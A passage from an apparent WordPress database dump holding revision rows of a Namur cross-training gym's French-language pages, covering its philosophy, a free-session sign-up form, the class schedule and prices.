s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:24:32', '2013-07-04 19:24:32', '', 5, 'http://www.crosstrainingcenter.be/5-revision-59/', 0, 'revision', '', 0),
(450, 1, '2013-11-04 16:47:48', '2013-11-04 16:47:48', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-11-04 16:47:48', '2013-11-04 16:47:48', '', 5, 'http://www2.crosstrainingcenter.be/5-revision-v1/', 0, 'revision', '', 0),
(314, 1, '2013-07-04 19:25:05', '2013-07-04 19:25:05', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:25:05', '2013-07-04 19:25:05', '', 5, 'http://www.crosstrainingcenter.be/5-revision-60/', 0, 'revision', '', 0),
(315, 1, '2013-07-03 20:48:33', '2013-07-03 20:48:33', '&lt;h1&gt;Une séance gratuite?&lt;/h1&gt;\r\nEnvie de découvrir les bienfaits du cross training?\r\nNous vous offrons gratuitement une première séance.\r\nRemplissez le formulaire ci-dessous et nous vous recontacterons pour planifier, avec vous, votre première séance. \r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-5', '', '', '2013-07-03 20:48:33', '2013-07-03 20:48:33', '', 266, 'http://www.crosstrainingcenter.be/266-revision-5/', 0, 'revision', '', 0),
(316, 1, '2013-07-04 19:33:16', '2013-07-04 19:33:16', '&lt;blockquote&gt;\r\n&lt;h1&gt;Envie de vous essayer au cross training?&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\r\n&lt;h1&gt;[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]&lt;/h1&gt;', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-6', '', '', '2013-07-04 19:33:16', '2013-07-04 19:33:16', '', 266, 'http://www.crosstrainingcenter.be/266-revision-6/', 0, 'revision', '', 0),
(319, 1, '2013-07-04 19:38:42', '2013-07-04 19:38:42', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Chaque séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:38:42', '2013-07-04 19:38:42', '', 11, 'http://www.crosstrainingcenter.be/11-revision-106/', 0, 'revision', '', 0),
(320, 1, '2013-07-04 19:39:35', '2013-07-04 19:39:35', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Chaque séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:39:35', '2013-07-04 19:39:35', '', 11, 'http://www.crosstrainingcenter.be/11-revision-107/', 0, 'revision', '', 0),
